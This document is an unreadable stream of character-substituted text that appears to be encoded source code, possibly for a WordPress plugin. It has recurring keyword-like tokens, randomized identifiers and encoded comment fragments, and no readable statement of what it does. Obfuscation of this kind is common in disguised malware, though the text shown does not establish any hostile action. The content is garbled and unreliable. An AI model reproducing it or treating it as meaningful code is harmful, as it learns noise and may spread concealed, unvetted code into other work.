O@^AFvD[DPKr@^v_XSYHPXKSN t 							@G] 				O@^AFvD[DPKrKKAEPBMEYMGE t						 				@G] 	O@^AFvD[DPKrSPDBZLLFM] t						  					[DXQX_G@MCSSB					@G] 	O@^AFvD[DPKr@N[KMFGKOJZ t##								ZL]v][HGZ@LG]HZZ[vN@S@BZX 	O@^AFvD[DPK			[DXQX_G@MCSSB #						T#				#		^QB]AHO@^v_XSYHPXKSN 						O@^AFvD[DPK				KKAEPBMEYMGE  ###					@O			@ZZL]O@^AFvD[DPKr@N[KMFGKOJZ t 				@N[KMFGKOJZ @N[KMFGKOJZ  				@N[KMFGKOJZ KKAEPBMEYMGE  			@N[KMFGKOJZ @^v_XSYHPXKSN   			R#	CHXM_[JB^_AQXAD						^YvNL]vZJALM\ELMvL_LG]SG^DSX^[_L  #					@O		CHXM_[JB^_AQXAD				@G] 						CHXM_[JB^_AQXAD@G]L[_HE						@G] 	O@^AFvD[DPKrKKAEPBMEYMGE t 			R##			^YvJELH[vZJALM\ELMvAFFBSG^DSX^[_L  #^YvZJALM\ELvL_LG]@^v_XSYHPXKSN  						SPDBZLLFM] w 		  	KKAEPBMEYMGE 		SG^DSX^[_L  #			T#	T#	\YMH]LvFY]@FG@^v_XSYHPXKSN 	KKAEPBMEYMGE   #		MLEL]LvFY]@FG@N[KMFGKOJZ  #				MLEL]LvFY]@FG@^v_XSYHPXKSN  #		MLEL]Lv][HGZ@LG]SPDBZLLFM]  #SENDYMJ\^^CSHFB] #EBO_KJ@NXJJJZ #					####	@O	AKFZQAK 	R#		Y[CPCJC\_S_[SHCOv #	T#		T	JH]JA	}A[F^HKEL				E]GYK]v 		R#	MLHEEFJH]L	JF_H[@HG]	OF[	~y	{lz}	hy`	_##								FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T				JH]JA	lQJLY]@FG		E]GYK]v 			R#				T		O@GHEEP						R#	NZADHFK@PJ[KKAEPBMEYMGE  #		T#				T######	O\GJ]@FG	DBHPPAYP_CYPA\HLvZHMYK						[@@AS\S\BCG						PSH[[DXQ				OHEZL #		R#								@O	JD@CQMEODG^@N[KMFGKOJZ   	[L]\[G#	][P						R#				#					NGABKQNX]							iSPDBZLLFM] HLvZHMYK		][\L #@O	@^v_XSYHPXKSN NGABKQNX] 		KKAEPBMEYMGE NGABKQNX] 						QQL  		NGABKQNX]			C^v@Z@\@ACBCLNGABKQNX] #								@O							NGABKQNX]		UU	@N[KMFGKOJZ NGABKQNX] 						 					UU	KKAEPBMEYMGE NGABKQNX]	KKAEPBMEYMGE  			 			R#[L]\[G#T#@O						_SMG[M@XJvKJSK\NGABKQNX]  		R#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@N[KMFGKOJZ  #	[L]\[G#T#		@O	@^v_XSYHPXKSN SPDBZLLFM] 					KKAEPBMEYMGE NGABKQNX]					  		YYOOJPZFS^  		R#@O			[@@AS\S\BCG								[@@AS\S\BCG				YYOOJPZFS^rt 	R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		@N[KMFGKOJZ  ]P\OBPYQSFJDE[NZSPEE]P\OBPYQSF#[L]\[G#					T#[@@AS\S\BCG			YYOOJPZFS^rt###	T			LEZL					R#				FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 	@^v_XSYHPXKSN  #	[L]\[G#			T###	@O				PSH[[DXQ			_L[Z@FGvJFDYH[L[@@AS\S\BCG					^NKBHS]S^NFHGH^O]  			 		R#		[L]\[G#T###	G\J@GQHXZEM			LSQQPGQ_@[D^ ##		@O	G\J@GQHXZEM			UU				KKAEPBMEYMGE G\J@GQHXZEM 									  		R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		SPDBZLLFM]  #			[L]\[G###T#							vZD^E\X\Z\EX				NL]vFY]@FGKKAEPBMEYMGE  #				@O	KKAEPBMEYMGE vZD^E\X\Z\EX 						SPDBZLLFM] vZD^E\X\Z\EX		@^v_XSYHPXKSN NGABKQNX] 		U 			 			R#			H][JEKCZG		@G] 	@^v_XSYHPXKSN vZD^E\X\Z\EX		SPDBZLLFM] vZD^E\X\Z\EX			U 			 #				@O		@^v_XSYHPXKSN  					H][JEKCZG								  				R##							[L]\[G#					T#	T#		MXKQKKZ@N\		@N[KMFGKOJZ [ZKLSD_  						KKAEPBMEYMGE 				@^v_XSYHPXKSN NGABKQNX] #	@O			iKKAEPBMEYMGE MXKQKKZ@N\  	R#			Pv@_Z@P^							i@G] 		KKAEPBMEYMGE MXKQKKZ@N\ #				@O		Pv@_Z@P^					KKAEPBMEYMGE  				Pv@_Z@P^							  		R#	[L]\[G#	T##		i@N[KMFGKOJZ MXKQKKZ@N\ #T#			\GZL]MXKQKKZ@N\	Pv@_Z@P^ #KFHC\FDA[_X				OHEZL#			@O				@^v_XSYHPXKSN @^v_XSYHPXKSN  					@N[KMFGKOJZ KKAEPBMEYMGE   			R#				PLQXPO[]^_]B						SPDBZLLFM] AFDLv\[E 			H[[HP@^v_XSYHPXKSN 						 						KKAEPBMEYMGE 						KKAEPBMEYMGE 									OHEZL  #		@O								KKAEPBMEYMGE @^v_XSYHPXKSN  									@Zv^YvL[[F[PLQXPO[]^_]B   	R#							KFHC\FDA[_X						@G] 		^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFMLPLQXPO[]^_]B 			 #						T#	iH^H@]	[LZFE_L[###		T#	JFDY@EL	JFDYFZ@]L	OF[	{LJ]F[	H\]F[LOHJ]F[##								HN\QAGDD					OHEZLE\[XFXEZyayvdhcf{vl{z`fgEXQGD[GE\[XFXEZ#						@O				@N[KMFGKOJZ @N[KMFGKOJZ   	R#	iMLHJ]@_H]L	]\DKE@GN^@GMF^##	@PS[NGZMCD					NL]vFY]@FGKKAEPBMEYMGE 					H[[HP  ####HN\QAGDD					@N[KMFGKOJZ @PS[NGZMCD 			KKAEPBMEYMGE X^A[SKOSH[ 		@PS[NGZMCD	][\L #								T#XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 				  #					@O					ZKXOKS\JGG_ZQC@QY[ZKLSD_ 		]ODXFFOB\PHLBFG^NGABKQNX]   		R#	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		SPDBZLLFM]  #	[L]\[G#T#	EHOBPA]OAvH[ZKLSD_  #			GKGGQEFO\QBQGEP[ZKLSD_  #	@O	KKAEPBMEYMGE @^v_XSYHPXKSN   			iZL]v][HGZ@LG]@N[KMFGKOJZ 		  ZO[YAXFYJP@SGSSYSJBEGY[ZO[YAXFYJP@ ZO[YAXFYJP@ZO[YAXFYJP@#@O								KFHC\FDA[_X				@^v_XSYHPXKSN KKAEPBMEYMGE  					@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#						]KD]PF\EJY				#						OF[	M^P[^NX@X										M^P[^NX@X										M^P[^NX@X 					R#						@M]C[_E^C]GSP						SPDBZLLFM] AFDLv\[EKKAEPBMEYMGE 					@N[KMFGKOJZ  						   	H[[HPKKAEPBMEYMGE 				 		KKAEPBMEYMGE 													@N[KMFGKOJZ 				OHEZL  #		@O					SPDBZLLFM] KKAEPBMEYMGE  					@Zv^YvL[[F[@M]C[_E^C]GSP  	R#	@O					M^P[^NX@X													@^v_XSYHPXKSN @N[KMFGKOJZ   	SPDBZLLFM]  #					JFG]@G\L#T#			HB^CCNENYYND				@G] 					^Yv[LDF]Lv[L][@L_Lv[LZYFGZLvJFML@M]C[_E^C]GSP #		@O			HB^CCNENYYND									 	UU				KKAEPBMEYMGE HB^CCNENYYND						H[[HP 		 		 			 			 	 		 				QQ  	][\L  			R####@O	M^P[^NX@X													@^v_XSYHPXKSN SPDBZLLFM]   		@^v_XSYHPXKSN  #				JFG]@G\L#		T#			]KD]PF\EJY		HB^CCNENYYND#		K[LHB#			T#	~y	k\]]FG	kEFJB	^@MNL]	[LGML[##	@O				]KD]PF\EJY							 					]KD]PF\EJY						 	#					@O				]KD]PF\EJY		  				R#			\XO[\H^[P]		ZKXOKS\JGG_ZQC@QY[ZKLSD_ 					]ODXFFOB\PHLBFG^G\J@GQHXZEM  #	@O			\XO[\H^[P] 		\XO[\H^[P]							ZKXOKS\JGG_ZQC@QY[ZKLSD_ 						G\J@GQHXZEM #		\YMH]LvFY]@FG@^v_XSYHPXKSN 			@^v_XSYHPXKSN NGABKQNX] 			U		SPDBZLLFM]  			KKAEPBMEYMGE  #	@O		\XO[\H^[P] 		R#	FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 				SPDBZLLFM] 			]KD]PF\EJY #		[L]\[G#	T#								GKGGQEFO\QBQGEP[ZKLSD_  #			EHOBPA]OAvH[ZKLSD_  #	LSQQPGQ_@[D^][\L ####	Q]H[ENCXS]X^Z@]][\L #	A^\\QSMPX[					@N[KMFGKOJZ [ZKLSD_ 			SPDBZLLFM]  #				OF[LHJA			H[[HP@N[KMFGKOJZ [ZKLSD_  	\vJHFGLF__PBZFA]G  		HZ				@]XZOJYQ]AQ 						R##iKKAEPBMEYMGE @]XZOJYQ]AQ									SPDBZLLFM] 			A^\\QSMPX[ #						iKKAEPBMEYMGE @]XZOJYQ]AQ							KKAEPBMEYMGE 		A^\\QSMPX[ ^v\YZA\GSESMCMBJZB@^v\YZA\GSE###T#	_LJ]F[@SL	Y[LZJ[@Y]@_L	Y[@F[@]PX\L\L##		@O	HN\QAGDD							HHP\_[vSHKGSLD 					SPDBZLLFM] @N[KMFGKOJZ   	R#_HMHvFES^							NL]vFY]@FGKKAEPBMEYMGE 		H[[HP  ###	@O						@^v_XSYHPXKSN _HMHvFES^ 		KKAEPBMEYMGE X^A[SKOSH[ 	_HMHvFES^		][\L  		R#		_HMHvFES^rt			X^A[SKOSH[ #i\YMH]LvFY]@FGSPDBZLLFM] 		_HMHvFES^ #		T#T#	nefkhezrSPDBZLLFM] t		#				EBO_KJ@NXJJJZ #			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					@^v_XSYHPXKSN 				]KD]PF\EJY #		[L]\[G##	T#				T#		@O			[@@AS\S\BCG							 		R#				nefkhezrKKAEPBMEYMGE t					[@@AS\S\BCG####	F^ZNDHAG^B[ZKLSD_ 			[@@AS\S\BCG #			T#		@O			PSH[[DXQ 			R#	S\D[SG@_			KKAEPBMEYMGE [ZKLSD_ 		SPDBZLLFM]  #OF[LHJA					H[[HPSPDBZLLFM] [ZKLSD_  				\vJHFGLF__PBZFA]G  			HZ	@GD[EM[]@O 		R#		i@^v_XSYHPXKSN @GD[EM[]@O				@N[KMFGKOJZ 			S\D[SG@_ #				T#			\GZL]S\D[SG@_	@GD[EM[]@O #T#	CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 	NGABKQNX]						@^v_XSYHPXKSN  #			LSQQPGQ_@[D^][\L #	Q]H[ENCXS]X^Z@]][\L #		nefkhezr@^v_XSYHPXKSN t		#			EBO_KJ@NXJJJZ #XX]L[vEYC^\OZSZ_@JL[ZKLSD_ 					  #			@O		GKGGQEFO\QBQGEP[ZKLSD_   	LCEBMJ]BE[ZKLSD_  #\YMH]LvFY]@FG@N[KMFGKOJZ 				[@@AS\S\BCG			U						SPDBZLLFM]  		KKAEPBMEYMGE  #			T			JH]JA					}A[F^HKEL		E]GYK]v 	R#				FBQKvM[JB\ZMHPE\SPDBZLLFM] 						E]GYK]v ####T	JH]JA		lQJLY]@FG					E]GYK]v 				R#	MLZL[@HE@SL	_@Z@]F[	OF[	{LJ]F[	H\]F[LOHJ]F[##T	O@GHEEP	R#	NZADHFK@PJ[SPDBZLLFM]  ##		T#		T#			O\GJ]@FG		JNZ\CPZGES #						R#	][HJL	K[@MNL	OF[	~y	kEFJBjFG][FEZ####	@O						MLO@GLMSPDBZLLFM]  					UU						@N[KMFGKOJZ SPDBZLLFM]   				R#	ZYLJ@HE@SL	OH@]AO\E	^[@]LHALHMEFN##		@O	@N[KMFGKOJZ hkzyh}a							SPDBZLLFM]   		R#	~F[My[LZZ		YH]]L[GZ	ZH]@ZO@HKEL	ZE@M@GN^@GMF^##								[LX\@[LvFGJL		hkzyh}a							@N[KMFGKOJZ G^[PQLQD[QKKQ ]XHGLJL[DJXDG^[PQLQD[#	T#	@O												@^v_XSYHPXKSN @^v_XSYHPXKSN   			R#	yay		@G]L[ZLJ]@FG	[LEHQLM	@G]L[Y[L]L[#####				[L]\[G#								T#	iY[FYHNH]LJFGZ]	MLHMEL]]L[##	T#	JELHGL[	HJ]@FG##	XYNHJv					NL]vYE\N@GZ #				@O					KKAEPBMEYMGE XYNHJv  			R##					[L]\[G##		T#						E@Z]				H[[HP #				OF[LHJA		XYNHJv	HZ		KHZLGHDL							^HAvP]\PF^ZZ] 	R#	@O	KHZLGHDL			X^A[SKOSH[  					R#	JFG]@G\L#		T#		E@Z]rKHZLGHDLt								^HAvP]\PF^ZZ]###T#	[L]\[G		E@Z]###	T#		O\GJ]@FG	ZYA[KYKZ\YJFE^SQLEHF		_M@QFLPCF_LQX #								R#	][@Y	JF\G]####		#			_N@]LYAZvQA							iKKAEPBMEYMGE JFE^SQLEHF		OHEZL			G\EE				QHQL  				#	@O			_N@]LYAZvQA 				R#			[L]\[G						OHEZL#	T##								#				OF[LHJA			_M@QFLPCF_LQX		HZ		Z@LvvQvLJ 			R#	#			@O										KKAEPBMEYMGE Z@LvvQvLJ 		UU									Z@LvvQvLJ				UU	SPDBZLLFM] Z@LvvQvLJ 								QHQH  					R#		JFG]@G\L####					T##	#			][P				R####_CZDGOY			iSPDBZLLFM] Z@LvvQvLJ		_N@]LYAZvQA #			T		JH]JA	}A[F^HKEL						Y\LK\PQXLFNSEO 				R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		Y\LK\PQXLFNSEO #							JFG]@G\L#				T	JH]JA			lQJLY]@FG			Y\LK\PQXLFNSEO 	R###	JFG]@G\L#			T##			@O	_CZDGOY 	R#[L]\[G	][\L#	T#	@ZFDL][@J	Y@YLE@GL##		T#	[L]\[G	OHEZL##			T#	#O\GJ]@FG				]ACQKYZPMYE\N@GvKHZLGHDL ###					R#		_M@QFLPCF_LQX							nefkhezrKKAEPBMEYMGE t#	@O						SPDBZLLFM] _M@QFLPCF_LQX 			UU		LDY]P_M@QFLPCF_LQX  			R##[L]\[G		OHEZL#T#					@O					MLO@GLM@N[KMFGKOJZ  			UU					LDY]PYE\N@GvKHZLGHDL 	UU				SPDBZLLFM] YE\N@GvKHZLGHDL	SPDBZLLFM]  		OHEZL 	R#				[L]\[G	OHEZL#			T#			#								GEQBCJL						~yvye|n`gvm`{												YE\N@GvKHZLGHDL####	@O				SPDBZLLFM] YE\N@GvKHZLGHDL 					 		R#QvL@DHL^QL				H[[HPGEQBCJL #T					LEZL			R#	[YBEB\JZ				@N[KMFGKOJZ GEQBCJL #	@O						KKAEPBMEYMGE [YBEB\JZ 			UU		@N[KMFGKOJZ [YBEB\JZ  	R#[L]\[G	OHEZL#					T#QvL@DHL^QL						CQGFv[[NLLLLBQO[YBEB\JZ	H[[HP@^v_XSYHPXKSN 						@N[KMFGKOJZ 		SPDBZLLFM] 	@^v_XSYHPXKSN 	@N[KMFGKOJZ   #T###		##					OF[LHJA			QvL@DHL^QL		HZ				JFE^SQLEHF 		R##@O						KKAEPBMEYMGE JFE^SQLEHF  		R##					JFG]@G\L#	T#	~y	kEFJBjFG][FEZ	JF_H[@HG]HMC	Y[F]F]PYL##@O			ZYA[KYKZ\YJFE^SQLEHF			_M@QFLPCF_LQX  			R#[L]\[G		][\L#			T#	iZY@EE	DLM@H]F[##				T#	[L]\[G		OHEZL#						T#				O\GJ]@FG	CQGFv[[NLLLLBQO[YBEB\JZ			HJA@vF@S\vZE]Y		L]v\\SOvJA[								MYCLFN\Z_@							G\EE				F]vF\KNHJ			G\EE #		R#	E@Z]				H[[HP ##@O		L]v\\SOvJA[			QQ  		R####				[L]\[G	E@Z]#T#				@O		MYCLFN\Z_@									G\EE 						R#						MYCLFN\Z_@						H[[HP #	F]vF\KNHJ				@^v_XSYHPXKSN ][\L 					QQ #	T####	@O			SPDBZLLFM] ][\L 					F]vF\KNHJ 					R#	[L]\[G	E@Z]#		T##	@O				KKAEPBMEYMGE [YBEB\JZ  						R#	H]FD@J	[LHM##	[L]\[G			E@Z]#						T#			KDMJKFKS					iKKAEPBMEYMGE [YBEB\JZ #@O		KDMJKFKS					OHEZL 			R#@O		@ZZL]MYCLFN\Z_@rKDMJKFKSt  		R#[L]\[G		E@Z]#T#MYCLFN\Z_@rKDMJKFKSt			][\L###			T##		^HM^MS_GXCCv				\Z\AGLAZAHZXB\[YBEB\JZ #	@O							@N[KMFGKOJZ ^HM^MS_GXCCv  	R#						[L]\[G		E@Z]##		T#	OF[LHJA				^HM^MS_GXCCv			HZ		SNMHJKG]OP 		R#			@O		KKAEPBMEYMGE ][\L 									F]vF\KNHJ			UU		@N[KMFGKOJZ E@Z] 				  		R#		K[LHB#	T#			GEQBCJL		[YBEB\JZ														SNMHJKG]OP####				@O			i@N[KMFGKOJZ GEQBCJL  				R#						JFG]@G\L#T##						@O					iSPDBZLLFM] GEQBCJL  	R#					E@Z]		SPDBZLLFM] E@Z]		CQGFv[[NLLLLBQOGEQBCJL	HJA@vF@S\vZE]Y	L]v\\SOvJA[					MYCLFN\Z_@	F]vF\KNHJ  #		T		LEZL@O	i@^v_XSYHPXKSN GEQBCJL  	R#PA^Q^SG					@^v_XSYHPXKSN GEQBCJL	JFGZ]HG]SPDBZLLFM]   #		PA^Q^SG				KKAEPBMEYMGE PA^Q^SG 									SPDBZLLFM] PA^Q^SG 			#					@O					@N[KMFGKOJZ PA^Q^SG		HJA@vF@S\vZE]Y					][\L  	R#						E@Z]rt								GEQBCJLZ]ECBX\CEPOE]PZ]ECB#					T#		T#T#	[L]\[G				E@Z]#	T##				O\GJ]@FG			BML\NDXM[]MPGSYE\N@GvKHZLGHDL #						R#							#			@O								@N[KMFGKOJZ YE\N@GvKHZLGHDL 		UU						YE\N@GvKHZLGHDL 		R####	[L]\[G				OHEZL#T#				@O	KKAEPBMEYMGE YE\N@GvKHZLGHDL					@N[KMFGKOJZ  						OHEZL 	R#[L]\[G		OHEZL#	T#					#		YE\N@GvKHZLGHDL							SPDBZLLFM] YE\N@GvKHZLGHDL #	@O						YE\N@GvKHZLGHDL				X^A[SKOSH[  			R####	[L]\[G	OHEZL#		T#		####	@O										KKAEPBMEYMGE SPDBZLLFM]  				KKAEPBMEYMGE hkzyh}a				@N[KMFGKOJZ   			R#[LX\@[LvFGJL					hkzyh}a						KKAEPBMEYMGE #	T#		#			@O		@^v_XSYHPXKSN SPDBZLLFM]  							@ZvYE\N@GvHJ]@_LYE\N@GvKHZLGHDL  	R#		MLHJ]@_H]LvYE\N@GZH[[HPYE\N@GvKHZLGHDL 						][\L 	#	T##					[YBEB\JZ				MLO@GLM@N[KMFGKOJZ  					~yvye|n`gvm`{																KKAEPBMEYMGE YE\N@GvKHZLGHDL 								###			@O			[YBEB\JZ		KKAEPBMEYMGE [YBEB\JZ 									SPDBZLLFM] YE\N@GvKHZLGHDL 							@^v_XSYHPXKSN YE\N@GvKHZLGHDL  			R#@O	\@C\ZMPv_\NCv[YBEB\JZ  			R#			[L]\[G					][\L####					T#				T#		#	@O	@N[KMFGKOJZ @N[KMFGKOJZ   		R#	#	@O		@^v_XSYHPXKSN KKAEPBMEYMGE  					UU				J\[[LG]v\ZL[vJHG@^v_XSYHPXKSN   	R#	YH[]@]@FG	Y[@F[@]PX\L\L	OF[	~y	yHNL	e@Z]##@O					@N[KMFGKOJZ @^v_XSYHPXKSN  						@N[KMFGKOJZ @N[KMFGKOJZ   		R##\ZL[Z							NL]v\ZL[ZH[[HP@^v_XSYHPXKSN 			@N[KMFGKOJZ 		KKAEPBMEYMGE 				  #						@O		LDY]P\ZL[Z 						\ZL[Zrt`m 			R#			@^v_XSYHPXKSN \ZL[Zrt`m #	T						LEZL	R###@N[KMFGKOJZ  #T#				T#							T#	#		DLK^^CHLZXG					MLEL]LvYE\N@GZH[[HPYE\N@GvKHZLGHDL  #			@O								@Zv^YvL[[F[DLK^^CHLZXG  						R###			[L]\[G	KFFE 		DLK^^CHLZXG#			T#		T#		[L]\[G				OHEZL#	T#				#	O\GJ]@FG			\@C\ZMPv_\NCv[YBEB\JZ		L]v\\SOvJA[			 #		R#			@O		L]v\\SOvJA[					  				RYZJE]vLvyayvdhcf{vl{z`fg[DDMPEA]^]YZJE]vLv#			[L]\[G		OHEZL#						T###					@O				@^v_XSYHPXKSN [YBEB\JZ 		UU	[YBEB\JZ				UU	@^v_XSYHPXKSN [YBEB\JZ					KKAEPBMEYMGE  				OHEZL 	R#					[L]\[G			OHEZL#T###	_CNFNFDDZQ		i@N[KMFGKOJZ [YBEB\JZ #	@O			_CNFNFDDZQ				OHEZL					UU				@^v_XSYHPXKSN _CNFNFDDZQ  		RGYEH@OBDPZZ[^ZQGYEH@OBD#		[L]\[G	OHEZL#T#PBGACGDMMFD					MLO@GLM@N[KMFGKOJZ  			i@^v_XSYHPXKSN ~yvye|n`gvm`{ 				OHEZL#					@O		PBGACGDMMFD					OHEZL	UU	_CNFNFDDZQ			PBGACGDMMFD								@N[KMFGKOJZ _CNFNFDDZQ					PBGACGDMMFD				m`{lj}f{pvzlyh{h}f{ 				  				R#[L]\[G			OHEZLKEXvXOQQK D@A^ZCKEXvXO#			T#		^CGMFZY[Y							i@N[KMFGKOJZ _CNFNFDDZQ #					@O				KKAEPBMEYMGE ^CGMFZY[Y  		R#			[L]\[G		OHEZL#				T#								OF[LHJA				^CGMFZY[Y		HZ			AEAOZvO 			R###	@O		AEAOZvO				UU			AEAOZvO					@^v_XSYHPXKSN  	R#			JFG]@G\L#		T#GEQBCJL							_CNFNFDDZQ								JFGZ]HG]@^v_XSYHPXKSN  						AEAOZvO#@O			i@^v_XSYHPXKSN GEQBCJL  	R#	@PE[Z\[XJ_PLXGGEQBCJL #		JFG]@G\L#				T#	LQHJ]	[L][PYFE@JP###		@O			iKKAEPBMEYMGE GEQBCJL  		R#					\@C\ZMPv_\NCvGEQBCJL		L]v\\SOvJA[					 ####			T		LEZL	RNN@H^XKQKQH YQQKAG@DNN@H^XK#@O							@PE[Z\[XJ_PLXGGEQBCJL  	R#XX]L[vEYC^\OZSZ_@JLGEQBCJL	QOQ  #		@PE[Z\[XJ_PLXGGEQBCJL #		T#		T#			T#		@O			iSPDBZLLFM] _CNFNFDDZQ  			R#XX]L[vEYC^\OZSZ_@JL_CNFNFDDZQ			  ##	i@^v_XSYHPXKSN _CNFNFDDZQ #		T#	~y	\ZLlG]@]P{LJF[MZ	HJX\@[L	[L][PYFE@JP##			[L]\[G		iKKAEPBMEYMGE _CNFNFDDZQ #		T##	#O\GJ]@FG			Y[CPCJC\_S_[SHCOv #		R##	][P					R#		E@Z]					JNZ\CPZGES #@O			KKAEPBMEYMGE E@Z]  		R#[L]\[G#	T#					####	@GSZX@CEJZY				H[[HP #					LJvB[MSFM@NB					OHEZL#				OF[LHJA		SPDBZLLFM] E@Z] 	HZ	KHZLGHDL 	R#	~F[My[LZZ		JFDDHGMZ	KH]JA	ZB@YE@Z]##	#@O			@N[KMFGKOJZ KHZLGHDL  	R####	JFG]@G\L###							T#							#QvES_EM[O		@^v_XSYHPXKSN KHZLGHDL #						@O	QvES_EM[O				 				R#								QvES_EM[O			KHZLGHDL#					T#			@O			@ZZL]@GSZX@CEJZYrQvES_EM[Ot  		R#			JFG]@G\L#		T#			#@GSZX@CEJZYrQvES_EM[Ot						][\L#@O		]ACQKYZPMKHZLGHDL  		R#		BML\NDXM[]MPGSKHZLGHDL #LJvB[MSFM@NB					][\L#T#					T#		#	@O	i@^v_XSYHPXKSN \vJHFGLF__PBZFA]G   	R[]SJGBHPLY[BZEYAX[]SJGBH#		G^\KHQD				\Z\AGLAZAHZXB\\vJHFGLF__PBZFA]G  #			@O			@N[KMFGKOJZ G^\KHQD  				R#	_M@QFLPCF_LQX				nefkhezr@^v_XSYHPXKSN t####							OF[LHJA	G^\KHQD				HZ						SNMHJKG]OP 	R#			#@O					SNMHJKG]OP										@BZAN\Q\PQ@EXJP  			R#		JFG]@G\L#T#	~y	`G]L[HJ]@_@]P	hy`	HZYLJ]	[H]@F##	#	JFE^SQLEHF			\vJHFGLF__PBZFA]G 														SNMHJKG]OP#@O				iSPDBZLLFM] JFE^SQLEHF 			UU		KKAEPBMEYMGE KKAEPBMEYMGE SNMHJKG]OP			JFGZ]HG]SPDBZLLFM]    					@^v_XSYHPXKSN  				R#	JFG]@G\L##	T#	##	@O			ZYA[KYKZ\YJFE^SQLEHF		_M@QFLPCF_LQX  					R#	@PE[Z\[XJ_PLXGJFE^SQLEHF #	LJvB[MSFM@NB				][\L###			T###				T#							T#			T#	#					OD\LZ_JX]E								nefkhezr@N[KMFGKOJZ t#				@O		SPDBZLLFM] OD\LZ_JX]E 				LDY]POD\LZ_JX]E  			R#	{LJ]F[	H\]F[LOHJ]F[	Z@]L	DL]H##	@O			[PS]@QGJKA[YvOD\LZ_JX]E  			R####	LJvB[MSFM@NB					][\L#			T#				T#				T	JH]JA		}A[F^HKEL	E]GYK]v 			R#	iML[LN@Z]L[	LOOLJ]]PYL##FBQKvM[JB\ZMHPE\SPDBZLLFM] 			E]GYK]v #								T					JH]JA	lQJLY]@FG		E]GYK]v 	R#					T#				T#	##	O\GJ]@FG	YD_P]@[KQBPHE\ #	R#	Y[FYHNH]LJFGZ]	NLGL[HE[LJ\[Z@_L	JFEELJ]F[####				][P	R#@AKD^EH^YND\S			@G] 	NL]vFY]@FGSPDBZLLFM] 	 #	@O				SPDBZLLFM]  						@AKD^EH^YND\S 				  				R#					\YMH]LvFY]@FG@N[KMFGKOJZ 	@^v_XSYHPXKSN   #	]_X\]_\AJ\				H[[HPH[[HPGELKXEB_N@M@\ 			H[[HPSPDBZLLFM]    #PGH[CGY_						KKAEPBMEYMGE KKAEPBMEYMGE  											KKAEPBMEYMGE  					####				@O	PGH[CGY_						PGH[CGY_									GELKXEB_N@M@\  			]_X\]_\AJ\rt							H[[HPPGH[CGY_	H[[HP@N[KMFGKOJZ 	@N[KMFGKOJZ   #		OF[LHJA			]_X\]_\AJ\				HZ		\FXYDXPBP 			R#	hyj\	ZAD	{lz}	JFG][FEEL[##OF[LHJA						\FXYDXPBPrt		HZ					^NSQ^GGvA 						R#						[K[ZLS_^ZEA							@N[KMFGKOJZ @N[KMFGKOJZ  							iKKAEPBMEYMGE \FXYDXPBPrt													^NSQ^GGvA			 								OHEZL#						@O	@N[KMFGKOJZ [K[ZLS_^ZEA  		JFG]@G\L#		####OF[LHJA				[K[ZLS_^ZEA					HZ	QAYHQCB 					R#			@O			iSPDBZLLFM] QAYHQCB  					JFG]@G\L#							ZNPCJXZF			iSPDBZLLFM] QAYHQCB ####@O	ZNPCJXZF				OHEZL						KKAEPBMEYMGE  				ZNPCJXZF 						  		@PE[Z\[XJ_PLXGQAYHQCB #	T##T#T#@PS[NGZMCD								NL]vFY]@FGSPDBZLLFM] 	H[[HP  #		@O		KKAEPBMEYMGE @PS[NGZMCD  	@PS[NGZMCD							H[[HP #				C^LG]DO				@N[KMFGKOJZ [ZKLSD_ 	@^v_XSYHPXKSN  DF[]QY@[DZAXX\HGJ[DD@\XJDF[]QY@[DZ DF[]QY@[DZDF[]QY@[DZ####vYM		MLO@GLMKKAEPBMEYMGE  				~yvjfg}lg}vm`{			hkzyh}a					KKAEPBMEYMGE  					@N[KMFGKOJZ #OF[LHJA	@N[KMFGKOJZ SPDBZLLFM]  						H[[HP 	i@N[KMFGKOJZ vYM						@N[KMFGKOJZ  									H[[HP 		HZ	XOXYYJLA^G 	R#						@O		KKAEPBMEYMGE @N[KMFGKOJZ XOXYYJLA^G  			C^LG]DO 		JFG]@G\L#	KQ]KS		SPDBZLLFM] KKAEPBMEYMGE XOXYYJLA^G  									KKAEPBMEYMGE XOXYYJLA^G @K]JUQQZOZ@[@K]Jw#						@O		@N[KMFGKOJZ KQ]KS		@PS[NGZMCD				][\L  		JFG]@G\L#					@O			i@N[KMFGKOJZ XOXYYJLA^G  	JFG]@G\L#	]JY]]OvF\K]]NA			i@N[KMFGKOJZ XOXYYJLA^G #						@O	]JY]]OvF\K]]NA		UU			]JY]]OvF\K]]NA					  			JFG]@G\L##						HB^CCNENYYND		i@^v_XSYHPXKSN XOXYYJLA^G #	@O	KKAEPBMEYMGE HB^CCNENYYND 				UU					@N[KMFGKOJZ HB^CCNENYYND	SPDBZLLFM]  					OHEZL 		JFG]@G\L#]YODJ[X					@^v_XSYHPXKSN @^v_XSYHPXKSN 							HB^CCNENYYND #								@O			KKAEPBMEYMGE ]YODJ[X 					UU			]YODJ[X								HB^CCNENYYND					UU	_SMG[M@XJvKJSK\]YODJ[X  		JFG]@G\L#	ZKXOKS\JGG_ZQC@QYXOXYYJLA^G				]YODJ[X #	@O	SPDBZLLFM] @^v_XSYHPXKSN   	iFYJHJALv@G_HE@MH]LXOXYYJLA^G	][\L ####	T#				\GZL]@PS[NGZMCD						C^LG]DO				vYM		XOXYYJLA^G					KQ]KS		]JY]]OvF\K]]NA		HB^CCNENYYND	]YODJ[X #		ZMGQBB[BS[[XJNvZ #					T#		#			CQ[QX^EL						nefkhezr@^v_XSYHPXKSN t##OD\LZ_JX]E		nefkhezrKKAEPBMEYMGE t##			KNM\@OZ^ECH]KN					@N[KMFGKOJZ CQ[QX^EL 							LDY]PCQ[QX^EL  		UU	@^v_XSYHPXKSN OD\LZ_JX]E 						LDY]POD\LZ_JX]E  #@O					KNM\@OZ^ECH]KN 				R#					[L]\[G#					T###	DOCN]Kv@CJ_EKA				@G] 			NL]vFY]@FG@^v_XSYHPXKSN 		 #	@O	@^v_XSYHPXKSN  						DOCN]Kv@CJ_EKA 					QLQ  			R#	